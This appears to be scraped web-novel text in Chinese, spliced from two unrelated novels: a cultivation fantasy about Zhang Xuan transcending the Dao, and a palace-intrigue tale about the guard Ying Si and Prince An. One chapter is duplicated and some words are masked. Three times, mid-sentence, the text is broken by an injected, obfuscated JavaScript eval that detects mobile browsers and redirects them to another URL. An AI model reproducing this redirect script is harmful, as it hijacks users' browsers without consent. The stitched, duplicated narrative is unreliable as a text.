和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16139568|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第三百六十二章 **还是救援? 万源城,客栈之中。 夜已深,客栈大门外悬挂着暂时歇业的牌子,里里外外更是显得静悄悄的。 一众身穿黑衣,面无表情的侍卫将这间客栈团团围住,警惕地观察着附近的一切举动。 真正的谢无咎归来的时候,身边便带着这些来路不明,却武功高强的手下,在他的授意之下,如今整座客栈已经被全部包下,暂时让众人当做据点。 邵威坐在屋中,手里端着一杯茶水,不知为何感到心里空落落的,十分难受。 又是一个夜晚,又是叶晚竹三人联合出动,他们留守后方,这相似的情形让他止不住地紧张着。 背上不多时就被冷汗浸透了,邵威大口将杯中已经凉透了的茶水喝干,背着手在屋里走了两圈,还是按捺不住,站起身来。 和上一次不同,这回谢三也不在客栈之中,手无寸铁,只有一身肥肉的邵老板这会儿怎么也冷静不下来。 他得给自己找点事情做! 房门一开,邵威却并未立刻抬脚。 “邵老板。” 门外传来一道平板的声音,听不出半分波动。 “我想去找林姑娘说说话。”邵威看着眼前这张和声音一样,没有任何波动的脸,开口时便下意识地添了两分心虚。 不知道为什么,这分明是谢都督的手下,可这帮人无论是语气还是神态,都透着一股让人不敢僭越的态度。 便如同邵威现在这般,被屋外的侍卫看了一眼,又感觉自己平白矮了三寸! “林姑娘正在屋中休息,一切安好。” 替邵威守门的这位叫影四,一张国字脸冷冰冰的,从来看不出他脸上还有表情二字。 影四直勾勾地盯着邵威,“夜已深,邵老板还是也休息为好,如果出现任何情况,小的会负责您的安全。” 邵威张了张口,顿觉有苦说不出。 “我——” “邵老板,好好休息吧。” 还没等他一句话说完,影四抬手砰地一声将房门合上了。 碰了一鼻子灰,邵威摸了摸自己的脸,也只能长叹一声,又拖着沉重的脚步往床边走。 那位谢都督的意思,他其实能猜到几分。 因着吴泽的背叛,他们这些身在南疆的线人,眼下在谢都督眼中都没了可信度。 他们到底是叶晚竹的手下,叶晚竹在客栈的时候,一切如常,可她一旦离开,邵威和林婉君便好像犯人一般被看管了起来。 就连送往他们手中的各类消息信件都要通过检查,确认内容没什么问题才能拿到邵威手中。 邵老板这会儿甚至不敢细思,万一这谢都督的手下有什么问题,那他们的消息网,可就全完了! 叶晚竹这几日跑进跑出,要操心的事情太多,邵威和林婉君便也暂时忍下不便,只等一切平安落定再说。 林婉君倒是私下里将这顾虑跟叶晚竹提起过,叶晚竹并没什么表示,只说谢都督带来的这些人,他们大可放心。 “放心……” 长吁短叹一声,邵威正面朝下,扑倒在自己的床上。 现在,除了放心,他也什么事都不能做了! 吱呀一声响传来,好像是有风将窗户吹开,感受着从头顶拂过的凉意,邵威暗骂一声。 他刚刚才躺下! 早不吹晚不吹,这风真烦人—— 满心诅咒着,还没等邵威从床上爬起来,房门忽然被从外面一脚踢开! “谁?” “站住!” “嗷!” 三个声音差不多在同一时间响起! 邵威惊恐地瞪大双眼,看着破门而入,一脸煞气的影四,这才后知后觉地反应过来。 他被人**了! 那人就站在他身后,用刀抵着他的脖子! 察觉到这一点,邵威感觉自己的脖子变得更疼了。 这是哪个孙子? “你想干什么?”影四这时候开口了。 邵威看不见,他倒是能看得清清楚楚,眼前的凶犯一身是伤,衣裳也破破烂烂的,可这张脸,却是影四最熟悉不过的。 是谢无咎的脸。 再准确一点来说,是那个伪装成谢无咎的冒牌货的脸。 发现此人的存在,谢无咎便放出手下四处抓捕,成功将人捕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143758|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 获。 影四分明记得这人被打断了手脚,又用铁链五花大绑着丢进一间屋中,被严加看管了起来,没想到他竟然能悄无声息地出现在这里。 而且,看样子还没有任何受伤的痕迹。 影四的目光飞快地在眼前的冒牌货身上一扫而过,又定定地看向他眼底。 “你跑不了,”他语气确定,“不要白费功夫了。” “哦?是吗?” 来人一开口,从语气到腔调,足足和谢无咎有七分相像,邵威愣了一下,这才反应过来是谁在自己身后! 咬了咬牙,邵威朝着影四猛使眼色。 别管他,抓人要紧—— “咳咳咳!” 那冒牌的谢无咎好像下巴也长了眼睛似的,分明是昂首挺胸地看着影四,却还能注意到邵威这边的小动静。 他用力一勒,邵威随之爆发出一阵惊天动地的咳嗽! “邵老板,别急呀。” 与此同时,这冒牌货优哉游哉的声音又响了起来。 “我还有几句话没和谢都督的手下说完,有些事情,还是得让他们知道为好,还请邵老板稍安勿躁。” 随着这话说出,邵威眼睁睁地看着影四的表情变得有些难看起来。 他一愣之下,也立刻反应过来,忍不住挣动两下,被勒得面红耳赤,也要破口大骂! “狗东西!你诬陷我!” 这话说得似是而非,好像他们是一伙儿的! “我和你没关系!你少胡说八道!”邵威目眦欲裂地继续挣扎着。 那人轻笑一声,“邵老板,别这么激动,我什么都没说,你是清白的。” 邵威的眼珠子都快气得掉出来了! 是没说! 可这货字里行间,不全都是这个意思吗? “他这是挑拨离间!” 又将目光投向影四,看着这位重新变得喜怒不形于色的脸,邵威打了个哆嗦,又重重地强调了一句。 天问那秃驴手下的人,真是没有一个不讨人厌! 影四没理会邵威,他静静地看着那张脸。 “你要说什么?” 第三百六十四章 安王殿下? 德慧小和尚愤怒到失去理智的喊叫被那冒牌货震声打断了。 闻言一呆,德慧愣了一下,随即难以置信地转头朝这边看来。 “你……” “住口。”冒牌货的声音无波无澜,却好似暗流涌动。 天不怕地不怕的德慧小和尚听着这声音又愣了愣,而后忽然打了个寒战,竟然老老实实地闭上了嘴。 冒牌的谢无咎抿着嘴唇,表情看起来更不愉快了。 把两人的互动全盘收入眼底,影四垂下目光,忽而挑了挑眉。 这两位的关系,看起来有些微妙。 不过他更在意的还是德慧刚才脱口而出的那句话。 “天问秃驴来了?” 指尖又用了两分力气,掐得德慧眼圈泛红,影四眼底也没有半分怜悯之意。 他一瞬不眨地盯着德慧的眼睛,从里面捕捉到了一丝飞速闪过的慌张。 还有一个忽然出现的身影! “四哥小心!” 一道罡风卷过,影四抓着德慧就地一滚,毫不客气地用这小和尚给自己当肉垫,两人齐齐摔在屋中角落里。 与此同时,就在影四刚才站着的地方,几枚暗器已经扎进地板之中。 暗器刀刃上闪着绿光,一看便知道有毒,而且还毒性不浅! “你就是天问?” 黑衣侍卫们从四面八方而来,瞬间便将这间屋子里里外外,围了个结结实实。 邵威这会儿俨然成了暂时无人理会的小可怜,他转动着眼珠子打量着周围的情况,随即又放心下去。 这屋子被谢都督的手下彻底围住了,就算是天问秃驴,那也不好跑! 定了定神,邵威这才朝着门边看了过去。 天问大师瞧着依旧是老样子,一身灰色的僧袍穿在身上,无风自动,十分有高人气质。 被数不清的黑衣侍卫包围着,他的模样也不见多少慌张,而是捻着手中的佛珠,冷静平和的目光挨个从众人脸上扫过。 “看诸位的长相,应该都是大梁人吧?” 片刻之后,收回目光,天问大师这才不疾不徐地开了口。 “千里迢迢跑到南疆来,辛苦,辛苦。” 影四这时候拎着又试图逃跑的德慧小和尚站起身,他学着身后那冒牌货的模样,摸出一把**横在德慧脖颈上。 “若不是有你们这种居心叵测之人,我等也不必费这么大的功夫。” 冷言冷语地说着话,影四的眼神落在天问大师身上。 “你要是于心不忍,那就在此自尽吧,能省我们不少功夫。” 天问大师轻笑了一声。 “好个牙尖嘴利的影卫啊。” 又一个声音传来,是从天问大师背后出现的。 这声音带着淡淡的笑意,影四听闻,难以置信地怔住了。 随后,看着从天问大师身后走出的那个身影,他更是瞪大了双眼! “安,安王殿下?” 不仅是影四震惊,屋中所有黑衣侍卫都肉眼可见地变了脸色! 怎么会是安王? 安王的身形不比众人记忆中的圆胖,清减了不少,眼下瞧着更是没了曾经的那份笨重,脚下轻灵,动作敏捷。 他三步并作两步走到天问大师面前站定,背着双手先往屋中看了一圈,这才将目光放到了影四的身上。 “当年,二皇兄把你指给我那好侄儿当贴身暗卫的时候,你不过也只有**岁,如今却长得这么大了,真是岁月催人老啊!” 感慨一声,安王笑着摸了摸自己的胡须,语气闲适,仿佛正在自家的花园聊家常一般。 邵威抿了抿唇。 大梁京城里的那些事情,叶晚竹这次前来南疆,已经抽空给他们讲了一遍。 安王究竟是敌是友暂且不论,这位王爷在故事里可是闭门不出,在京城外的别院住了小二十年。 可他方才那一番话,虽然是大梁话,却让邵威听出了不少南疆的口音。 安王是大梁的王,那自然是大梁人,却能说出南疆口音,只有一种可能。 他长居南疆,这是耳目濡染的结果! 影四的表情这会儿也变得非常难看。 他说的那件事发生在宫中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16143760|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在先帝眼前,也就是说,站在自己面前的人,是货真价实的安王殿下! “……王爷真是好心性,好手段!” 抬起头,影四咬紧牙关,语气冷硬。 大梁人皆知安王心性淡泊,从无半点争权夺利之意。 没想到,一切都是伪装! 他竟然装了这么长时间,骗过了所有人! 看着影四眼神变幻的模样,安王又笑了笑,表情却变得冷了下去。 他早已经来到南疆,深居简出,小心埋伏多年,而留在京郊别院的那个,不过是他身边曾经的一个小厮罢了。 为了这一天,他已经等了太长时间,等到华发丛生,等到不再年富力强,等到安王的名号彻底和窝囊绑定在一起! 好在,这个机会终于来了! “好了,废话少说。” 正了正脸色,安王抬起头来,面上的笑容也隐去了。 “本王惜才,看在你们都是宫中高手的份儿上,只要尔等现在归顺,本王不仅可以饶恕你们的性命,日后,还许你们高官厚禄,保你们一辈子衣食无忧。” 听着他画的大饼,影四面上的表情没有任何变化。 “恐怕是每年七月十五交付吧?” 高官厚禄,衣食无忧? 叠成纸元宝烧到地下,谁知道他能不能收到? 安王闻言面上抽动几下,再看影四的时候,眼神又阴鸷几分。 “跟着我那好侄儿,你的嘴巴也没学好。” “总比王爷心坏了要强上那么一点儿。、” 影四又一句话顶了回去,安王面上虚情假意的笑容终于彻底消失了。 “好啊,好啊!”他换做一脸狞笑,“既然你敬酒不吃吃罚酒,那本王也不和你废话——” 安王一句话还没说完,影四骤然飞身而起,一脚将德慧小和尚踹到同伴手中,双手从背后拔出一对短刀,以雷霆万钧之势朝着安王冲了过去! 安王身形一晃,后退半步,天问大师这时候悄无声息地出现在影四背后,抬手朝着他后心就是一掌! “放信号!” 第三百六十四章 安王殿下? 德慧小和尚愤怒到失去理智的喊叫被那冒牌货震声打断了。 闻言一呆,德慧愣了一下,随即难以置信地转头朝这边看来。 “你……” “住口。”冒牌货的声音无波无澜,却好似暗流涌动。 天不怕地不怕的德慧小和尚听着这声音又愣了愣,而后忽然打了个寒战,竟然老老实实地闭上了嘴。 冒牌的谢无咎抿着嘴唇,表情看起来更不愉快了。 把两人的互动全盘收入眼底,影四垂下目光,忽而挑了挑眉。 这两位的关系,看起来有些微妙。 不过他更在意的还是德慧刚才脱口而出的那句话。 “天问秃驴来了?” 指尖又用了两分力气,掐得德慧眼圈泛红,影四眼底也没有半分怜悯之意。 他一瞬不眨地盯着德慧的眼睛,从里面捕捉到了一丝飞速闪过的慌张。 还有一个忽然出现的身影! “四哥小心!” 一道罡风卷过,影四抓着德慧就地一滚,毫不客气地用这小和尚给自己当肉垫,两人齐齐摔在屋中角落里。 与此同时,就在影四刚才站着的地方,几枚暗器已经扎进地板之中。 暗器刀刃上闪着绿光,一看便知道有毒,而且还毒性不浅! “你就是天问?” 黑衣侍卫们从四面八方而来,瞬间便将这间屋子里里外外,围了个结结实实。 邵威这会儿俨然成了暂时无人理会的小可怜,他转动着眼珠子打量着周围的情况,随即又放心下去。 这屋子被谢都督的手下彻底围住了,就算是天问秃驴,那也不好跑! 定了定神,邵威这才朝着门边看了过去。 天问大师瞧着依旧是老样子,一身灰色的僧袍穿在身上,无风自动,十分有高人气质。 被数不清的黑衣侍卫包围着,他的模样也不见多少慌张,而是捻着手中的佛珠,冷静平和的目光挨个从众人脸上扫过。 “看诸位的长相,应该都是大梁人吧?” 片刻之后,收回目光,天问大师这才不疾不徐地开了口。 “千里迢迢跑到南疆来,辛苦,辛苦。” 影四这时候拎着又试图逃跑的德慧小和尚站起身,他学着身后那冒牌货的模样,摸出一把**横在德慧脖颈上。 “若不是有你们这种居心叵测之人,我等也不必费这么大的功夫。” 冷言冷语地说着话,影四的眼神落在天问大师身上。 “你要是于心不忍,那就在此自尽吧,能省我们不少功夫。” 天问大师轻笑了一声。 “好个牙尖嘴利的影卫啊。” 又一个声音传来,是从天问大师背后出现的。 这声音带着淡淡的笑意,影四听闻,难以置信地怔住了。 随后,看着从天问大师身后走出的那个身影,他更是瞪大了双眼! 